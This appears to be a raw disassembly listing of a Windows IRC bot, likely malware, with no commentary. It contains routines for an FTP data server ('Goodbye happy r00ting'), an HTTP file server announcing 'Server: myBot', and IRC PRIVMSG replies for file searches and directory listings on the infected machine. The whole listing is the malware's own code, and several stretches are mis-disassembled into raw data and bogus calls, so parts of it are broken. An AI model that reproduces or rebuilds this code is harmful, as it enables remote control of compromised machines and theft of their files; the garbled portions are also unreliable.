		pop	ecx
		jnz	loc_4059A0
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059F0
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405996
		call	loc_405A6D
		cmp	eax, 1
		jnz	loc_4059C2
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	ds:dword_438FAC
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_426724
		push	eax
		call	sub_4154CD
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405987
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_412D32
		add	esp, 14h


loc_405987:				; CODE XREF: sub_4053ED+575j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40B151
		pop	ecx
		jmp	short loc_4059C2
; ---------------------------------------------------------------------------


loc_405996:				; CODE XREF: sub_4053ED+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059BF
; ---------------------------------------------------------------------------


loc_4059A0:				; CODE XREF: sub_4053ED+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059C2
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4059BF:				; CODE XREF: sub_4053ED+28Bj
					; sub_4053ED+2AFj ...
		push	edi
		call	ebx


loc_4059C2:				; CODE XREF: sub_4053ED+3DFj
					; sub_4053ED+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch


loc_4059D4:				; CODE XREF: sub_4053ED+160j
					; sub_4053ED+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40551B
		jmp	loc_4054E0
; ---------------------------------------------------------------------------


loc_4059E6:				; CODE XREF: sub_4053ED+11Ej
		push	1
		pop	eax


loc_4059E9:				; CODE XREF: sub_4053ED+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059F0	proc near		; CODE XREF: sub_4053ED+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4211B0
		push	0
		push	1
		push	2
		call	ds:dword_4211E0
		push	[ebp+arg_0]
		mov	ds:dword_438FA8, eax
		mov	[ebp+var_10], 2
		call	ds:dword_4211D8
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_4211DC
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_438FA8
		call	ds:dword_4211E4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A68
		push	ds:dword_438FA8
		call	ds:dword_4211F0
		call	ds:dword_4211AC
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405A68:				; CODE XREF: sub_4059F0+60j
		push	1
		pop	eax
		leave
		retn
sub_4059F0	endp

; ---------------------------------------------------------------------------


loc_405A6D:				; CODE XREF: sub_4053ED+531p
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 3423570h
; ---------------------------------------------------------------------------
		dw 8D8Eh
		dd 0FFFEFC85h, 697868FFh, 0E8500042h, 1012Ch, 8559F08Bh
		dd 607459F6h, 100C46F6h, 0BF573E75h, 400h, 8D016A56h, 0FFFAFC85h
		dd 0E85057FFh, 110D0h, 8D10C483h, 0FFFAFC85h, 57006AFFh
		dd 0A835FF50h, 0FF00438Fh, 4211EC15h, 0FF016A00h, 42106015h
		dd 0C46F600h, 5FC97410h, 32E856h, 0FF590001h, 438FA835h
		dd 0F015FF00h, 0FF004211h, 4211AC15h, 58016A00h
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_405B07:				; DATA XREF: seg000:0040758Do
					; seg000:00411EA3o
		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp-5ECh]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		mov	[ebp-14h], esi
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp-25Ch]
		call	ds:dword_43A368
		push	ebx
		push	esi
		push	2
		mov	[ebp-22h], ax
		mov	[ebp-20h], ebx
		call	ds:dword_43A3E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-0Ch], edi
		jz	loc_405EF2
		mov	eax, [ebp-254h]
		push	10h
		imul	eax, 234h
		mov	ds:dword_43F504[eax], edi
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	ds:dword_43A394
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EF2
		push	7FFFFFFFh
		push	edi
		call	ds:dword_43A390
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EF2
		lea	eax, [ebp-14h]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_43A404
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EF2
		mov	ebx, esi
		mov	[ebp-134h], edi
		mov	[ebp-138h], ebx
		mov	[ebp-8], edi


loc_405BDE:				; CODE XREF: seg000:00405EE8j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp-138h]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp-6F0h]
		push	eax
		mov	eax, [ebp-8]
		lea	edi, [ebp-6F0h]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_43A350
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EED
		xor	esi, esi
		mov	[ebp-4], esi


loc_405C14:				; CODE XREF: seg000:00405EE2j
		lea	eax, [ebp-6F0h]
		push	eax
		push	esi
		call	ds:dword_43A260
		test	eax, eax
		jz	loc_405ED8
		cmp	esi, [ebp-0Ch]
		jnz	short loc_405C96
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-10h], 10h
		push	eax
		lea	eax, [ebp-34h]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	ds:dword_43A3FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C68
		lea	edx, [ebp-134h]


loc_405C5C:				; CODE XREF: seg000:00405C66j
		cmp	[edx], eax
		jz	short loc_405C68
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C5C


loc_405C68:				; CODE XREF: seg000:00405C54j
					; seg000:00405C5Ej
		cmp	ecx, ebx
		jnz	short loc_405C85
		cmp	ebx, 40h
		jnb	short loc_405C85
		mov	[ebp+ecx*4-134h], eax
		mov	ebx, [ebp-138h]
		inc	ebx
		mov	[ebp-138h], ebx


loc_405C85:				; CODE XREF: seg000:00405C6Aj
					; seg000:00405C6Fj
		cmp	eax, [ebp-8]
		jbe	loc_405ED8
		mov	[ebp-8], eax
		jmp	loc_405ED8
; ---------------------------------------------------------------------------


loc_405C96:				; CODE XREF: seg000:00405C2Dj
		mov	edi, 1000h
		lea	eax, [ebp-28F0h]
		push	edi
		push	0
		push	eax
		call	sub_415550
		push	edi
		lea	eax, [ebp-18F0h]
		push	0
		push	eax
		call	sub_415550
		add	esp, 18h
		lea	eax, [ebp-28F0h]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_43A380
		test	eax, eax
		jg	short loc_405D29
		push	esi
		call	ds:dword_43A400
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405ED8
		lea	eax, [ebp-134h]


loc_405CE8:				; CODE XREF: seg000:00405CF2j
		cmp	[eax], esi
		jz	short loc_405CF9
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CE8
		jmp	loc_405ED8
; ---------------------------------------------------------------------------


loc_405CF9:				; CODE XREF: seg000:00405CEAj
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D1D
		lea	eax, [ebp+ecx*4-134h]


loc_405D07:				; CODE XREF: seg000:00405D1Bj
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp-138h]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405D07


loc_405D1D:				; CODE XREF: seg000:00405CFEj
		dec	ebx
		mov	[ebp-138h], ebx
		jmp	loc_405ED8
; ---------------------------------------------------------------------------


loc_405D29:				; CODE XREF: seg000:00405CCFj
		xor	esi, esi
		push	104h
		lea	eax, [ebp-23Ch]
		push	esi
		push	eax
		call	sub_415550
		lea	eax, [ebp-28F0h]
		mov	[ebp+8], esi
		push	eax
		call	sub_415CD0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405ED8


loc_405D57:				; CODE XREF: seg000:00405E10j
		mov	eax, [ebp+8]
		mov	al, [ebp+eax-28F0h]
		cmp	al, 0Ah
		mov	[ebp+esi-18F0h], al
		jnz	loc_405DFC
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp-18F0h]
		push	esi
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DD0
		lea	eax, [ebp-18F0h]
		push	eax
		call	sub_415CD0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DD0
		mov	eax, offset asc_4269C8 ; " "
		push	eax
		push	eax
		lea	eax, [ebp-18F0h]
		push	esi
		push	eax
		call	sub_415AA0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_415AA0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416C78
		push	eax
		lea	eax, [ebp-23Ch]
		push	eax
		call	sub_415BE0
		add	esp, 10h
		jmp	short loc_405DE7
; ---------------------------------------------------------------------------


loc_405DD0:				; CODE XREF: seg000:00405D86j
					; seg000:00405D98j
		lea	eax, [ebp-18F0h]
		push	offset asc_4269C4 ; "\r\n"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E1B


loc_405DE7:				; CODE XREF: seg000:00405DCEj
		push	edi
		lea	eax, [ebp-18F0h]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405DFC:				; CODE XREF: seg000:00405D6Aj
		inc	dword ptr [ebp+8]
		lea	eax, [ebp-28F0h]
		push	eax
		inc	esi
		call	sub_415CD0
		cmp	[ebp+8], eax
		pop	ecx
		jb	loc_405D57
		jmp	loc_405ED8
; ---------------------------------------------------------------------------


loc_405E1B:				; CODE XREF: seg000:00405DE5j
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E65
		lea	eax, [ebp-134h]


loc_405E27:				; CODE XREF: seg000:00405E34j
		mov	esi, [ebp-4]
		cmp	[eax], esi
		jz	short loc_405E38
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E27
		jmp	short loc_405E68
; ---------------------------------------------------------------------------


loc_405E38:				; CODE XREF: seg000:00405E2Cj
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E5C
		lea	eax, [ebp+ecx*4-134h]


loc_405E46:				; CODE XREF: seg000:00405E5Aj
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp-138h]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E46


loc_405E5C:				; CODE XREF: seg000:00405E3Dj
		dec	ebx
		mov	[ebp-138h], ebx
		jmp	short loc_405E68
; ---------------------------------------------------------------------------


loc_405E65:				; CODE XREF: seg000:00405E1Fj
		mov	esi, [ebp-4]


loc_405E68:				; CODE XREF: seg000:00405E36j
					; seg000:00405E63j
		lea	eax, [ebp-23Ch]
		test	eax, eax
		jz	short loc_405ED1
		lea	eax, [ebp-360h]
		push	eax
		call	sub_415CD0
		mov	edi, eax
		lea	eax, [ebp-23Ch]
		push	eax
		call	sub_415CD0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405ED1
		and	dword ptr [ebp+8], 0
		lea	eax, [ebp+8]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43A404
		push	dword ptr [ebp-254h]
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp-248h]
		push	eax
		lea	eax, [ebp-360h]
		push	eax
		push	esi
		call	near ptr loc_4060E1+3
		add	esp, 14h
		jmp	short loc_405ED8
; ---------------------------------------------------------------------------


loc_405ED1:				; CODE XREF: seg000:00405E70j
					; seg000:00405E96j
		push	esi
		call	ds:dword_43A400


loc_405ED8:				; CODE XREF: seg000:00405C24j
					; seg000:00405C4Aj ...
		mov	esi, [ebp-4]
		inc	esi
		cmp	esi, [ebp-8]
		mov	[ebp-4], esi
		jbe	loc_405C14
		jmp	loc_405BDE
; ---------------------------------------------------------------------------


loc_405EED:				; CODE XREF: seg000:00405C09j
		mov	edi, [ebp-0Ch]
		xor	ebx, ebx


loc_405EF2:				; CODE XREF: seg000:00405B71j
					; seg000:00405B99j ...
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp-8F0h]
		push	offset unk_42697C
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-24Ch], ebx
		jnz	short loc_405F38
		push	ebx
		lea	eax, [ebp-8F0h]
		push	dword ptr [ebp-250h]
		push	eax
		lea	eax, [ebp-5E8h]
		push	eax
		push	dword ptr [ebp-5ECh]
		call	sub_412D32
		add	esp, 14h


loc_405F38:				; CODE XREF: seg000:00405F13j
		lea	eax, [ebp-8F0h]
		push	eax
		call	sub_40B151
		pop	ecx
		push	edi
		call	ds:dword_43A400
		push	dword ptr [ebp-254h]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3CA5BE77h
		inc	ebx
		pop	edi
		pop	esi
		pop	ebx
		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp-44Ch]


loc_405F81:				; CODE XREF: seg000:00405FF2j
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp-3C8h]
		push	eax
		lea	eax, [ebp-550h]
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-654h]
		push	eax
		call	sub_4154CD
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp-0A4h], edi
		jz	short loc_405FC7
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FCC
; ---------------------------------------------------------------------------


loc_405FC7:				; CODE XREF: seg000:00405FBEj
		push	offset aApplicationOct ; "application/octet-stream"


loc_405FCC:				; CODE XREF: seg000:00405FC5j
		lea	eax, [ebp-9Ch]
		push	eax
		call	sub_4154CD
		pop	ecx
		lea	eax, [ebp-68h]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 0BCD41155h
		loopne	loc_405F81
		inc	ebp
		loopne	near ptr loc_40605E+3
		push	ds
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 627F0202h
		or	eax, 83E0458Dh
		mov	ebp, 0FFFFFF48h
		call	dword ptr [eax-73h]
		inc	ebp
		cwde
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		jnz	short loc_406045
		lea	eax, [ebp-9Ch]
		push	eax
		lea	eax, [ebp-1654h]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4154CD
		add	esp, 24h
		jmp	short loc_406066
; ---------------------------------------------------------------------------


loc_406045:				; CODE XREF: seg000:00406026j
		push	dword ptr [ebp-0B8h]
		lea	eax, [ebp-9Ch]
		push	eax
		lea	eax, [ebp-1654h]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax


loc_40605E:				; CODE XREF: seg000:00405FF5j
		call	sub_4154CD
		add	esp, 28h


loc_406066:				; CODE XREF: seg000:00406043j
		lea	eax, [ebp-1654h]
		push	edi
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-1654h]
		push	eax
		push	dword ptr [ebp-44Ch]
		call	ds:dword_43A3B8
		cmp	[ebp-0A4h], edi
		jnz	short loc_4060A6
		lea	eax, [ebp-550h]
		push	eax
		push	dword ptr [ebp-44Ch]
		call	sub_406A16
		pop	ecx
		pop	ecx
		jmp	short loc_4060C3
; ---------------------------------------------------------------------------


loc_4060A6:				; CODE XREF: seg000:0040608Ej
		lea	eax, [ebp-654h]
		push	eax
		push	edi
		push	dword ptr [ebp-44Ch]
		lea	eax, [ebp-550h]
		push	eax
		call	loc_406394
		add	esp, 10h


loc_4060C3:				; CODE XREF: seg000:004060A4j
		push	dword ptr [ebp-44Ch]
		call	ds:dword_43A400
		push	dword ptr [ebp-0B4h]
		call	sub_415295
		pop	ecx
		push	edi
		call	near ptr 0D4694F9Fh


loc_4060E1:				; CODE XREF: seg000:00405EC7p
		mov	dword ptr [edi+5Eh], 81EC8B55h
		in	al, dx
		les	ecx, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 57565300h, 468FF33h,	8D000001h, 0FFFDF085h, 895057FFh
		dd 49E8FC7Dh, 8B0000F4h, 0C4831045h, 2F38800Ch,	68500874h
		dd 426C8Ch, 0C65009EBh,	88685C00h, 8D00426Ch, 0FFFEF485h
		dd 9EE850FFh, 830000F3h, 858D0CC4h, 0FFFFFEF4h,	0DB33F633h
		dd 0FB8EE850h, 0C0850000h, 0C7777659h, 21045h, 858D0000h
		dd 0FFFFFEF4h, 0FB76E850h, 45390000h, 2E735910h, 0F435BC80h
		dd 25FFFFFEh, 0BC802475h, 0FFFEF535h, 1A7532FFh, 0F635BC80h
		dd 30FFFFFEh, 0C6461075h, 0FDF01D84h, 4620FFFFh, 2104583h
		dd 848A1AEBh, 0FFFEF435h, 752F3CFFh, 585C6A05h,	0BE0F03EBh
		dd 1D8488C0h, 0FFFFFDF0h, 0FEF4858Dh, 0FF46FFFFh, 43501045h
		dd 0FB17E8h, 59F03B00h,	858D9072h, 0FFFFFDF0h, 0EC858D50h
		dd 0FFFFFFFCh, 80680C75h, 5000426Ch, 0F2F4E8h, 0EC858D00h
		dd 68FFFFFCh, 426C7Ch, 0A8EE850h, 0C4830001h, 0EC858D18h
		dd 50FFFFFCh, 109415FFh, 16A0042h, 5E10F883h, 0F8830A74h
		dd 0FF0875FFh, 7FEB0875h, 80FC7589h, 0FDEF1DBCh, 755CFFFFh
		dd 0FC758903h, 39085D8Bh, 9D89FC7Dh, 0FFFFF93Ch, 0FCE8BD89h
		dd 6674FFFFh, 74147D39h, 0EC858D55h, 68FFFFFCh,	426C78h
		dd 0F9AAE850h, 858D0000h, 0FFFFFCECh, 0C0858D50h, 50FFFFF9h
		dd 0F274E8h, 0F0858D00h, 50FFFFFDh, 86EE8h, 0F0858D00h
		dd 50FFFFFDh, 0FAC4858Dh, 0E850FFFFh, 0F255h, 831CC483h
		dd 0FFFCD08Dh, 0B589FFFFh, 0FFFFFCE4h, 0FF535BEBh, 43A40015h
		dd 0F7E900h, 57570000h,	5657036Ah, 0FCEC858Dh, 68FFFFh
		dd 50800000h, 107815FFh, 0F08B0042h, 74FFFE83h,	0EC858D30h
		dd 50FFFFFCh, 0F9C0858Dh, 0E850FFFFh, 0F205h, 0E4BD8959h
		dd 59FFFFFCh, 88E85657h, 11917C6Ah, 0D0858956h,	0FFFFFFFCh
		dd 42106C15h, 18758B00h, 0F73C858Dh, 6856FFFFh,	426C34h
		dd 0F1D3E850h, 8D570000h, 0FFF73C85h, 50036AFFh, 0EC70E8h
		dd 0D4858900h, 69FFFFFCh, 234C0h, 18C48300h, 0F4FCB089h
		dd 458D0043h, 858D50F8h, 0FFFFF93Ch, 62685057h,	5700405Fh
		dd 693BE857h, 8B004BD8h, 0FFFCD48Dh, 34C969FFh,	3B000002h
		dd 0C8189C7h, 740043F5h, 0E8BD3912h, 75FFFFFCh,	0FF056A38h
		dd 42106015h, 53EEEB00h, 0A40015FFh, 15FF0043h,	421088h
		dd 3C858D50h, 68FFFFF7h, 426BE8h, 0F14FE850h, 858D0000h
		dd 0FFFFF73Ch, 4DC7E850h, 0C4830000h, 335E5F10h, 0C3C95BC0h
; ---------------------------------------------------------------------------


loc_406394:				; CODE XREF: seg000:004060BBp
					; seg000:00411483p
		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp-594h]
		push	ebx
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-8], ebx
		call	sub_415550
		mov	edi, [ebp+8]
		push	offset asc_426C7C ; "\n"
		push	edi
		call	sub_416C78
		add	esp, 14h
		cmp	[ebp+10h], ebx
		jz	short loc_4063F3
		push	edi
		mov	esi, 200h
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-248h]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 14h
		jmp	loc_4064F0
; ---------------------------------------------------------------------------


loc_4063F3:				; CODE XREF: seg000:004063CEj
		cmp	[ebp+14h], ebx
		push	edi
		jz	loc_4064D6
		call	sub_415CD0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		push	edi
		call	sub_415CD0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		jmp	short loc_4064F0
; ---------------------------------------------------------------------------


loc_4064D6:				; CODE XREF: seg000:004063F7j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 10h


loc_4064F0:				; CODE XREF: seg000:004063EEj
					; seg000:004064D4j
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		cmp	[ebp+14h], ebx
		jz	short loc_406588
		push	dword ptr [ebp+14h]
		call	sub_415CD0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406588
		push	dword ptr [ebp+14h]
		call	sub_415CD0
		sub	eax, 3
		pop	ecx
		jz	short loc_40653C


loc_406530:				; CODE XREF: seg000:0040653Aj
		mov	ecx, [ebp+14h]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40653C
		dec	eax
		jnz	short loc_406530


loc_40653C:				; CODE XREF: seg000:0040652Ej
					; seg000:00406537j
		inc	eax
		push	eax
		lea	eax, [ebp-594h]
		push	dword ptr [ebp+14h]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-594h]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8


loc_406588:				; CODE XREF: seg000:00406512j
					; seg000:00406520j
		lea	eax, [ebp-388h]
		push	eax
		push	edi
		call	ds:dword_4210A8
		lea	ecx, [ebp-388h]
		mov	[ebp+8], eax
		push	ecx
		push	eax
		call	ds:dword_4210A4
		test	eax, eax
		jz	loc_406979
		mov	edi, 1FFh


loc_4065B4:				; CODE XREF: seg000:00406973j
		cmp	[ebp-388h], ebx
		jz	loc_406961
		lea	eax, [ebp-35Ch]
		push	offset a__	; ".."
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406961
		lea	eax, [ebp-35Ch]
		push	offset a__0	; "."
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406961
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-374h]
		push	eax
		call	near ptr 0FA5619B7h
		xor	[ebp-72AF17BBh], ecx
		inc	ebp
		loopne	near ptr loc_40665C+3
		call	near ptr 73A2DEC1h
		adc	ah, [esi-75h]
		inc	ebp
		lock mov ecx, offset aPm ; "PM"
		cmp	ax, 0Ch
		ja	short loc_406629
		mov	ecx, offset aAm	; "AM"


loc_406629:				; CODE XREF: seg000:00406622j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_406635
		sub	eax, 0Ch


loc_406635:				; CODE XREF: seg000:00406630j
		push	ecx
		movzx	ecx, word ptr [ebp-0Eh]
		push	ecx
		push	eax
		movzx	eax, word ptr [ebp-18h]
		push	eax
		movzx	eax, word ptr [ebp-12h]
		push	eax
		movzx	eax, word ptr [ebp-16h]
		push	eax
		lea	eax, [ebp-48h]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4154CD
		add	esp, 20h


loc_40665C:				; CODE XREF: seg000:0040660Dj
		test	byte ptr [ebp-388h], 10h
		jz	loc_4067E2
		inc	dword ptr [ebp-8]
		cmp	[ebp+10h], ebx
		jz	short loc_4066B6
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp-490h]
		push	106h
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-490h]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 28h
		jmp	loc_406932
; ---------------------------------------------------------------------------


loc_4066B6:				; CODE XREF: seg000:0040666Fj
		cmp	[ebp+14h], ebx
		jz	loc_4067A0
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		lea	eax, [ebp-35Ch]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+14h]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		lea	eax, [ebp-35Ch]
		push	eax
		call	sub_415CD0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp-35Ch]
		push	eax
		jbe	short loc_406756
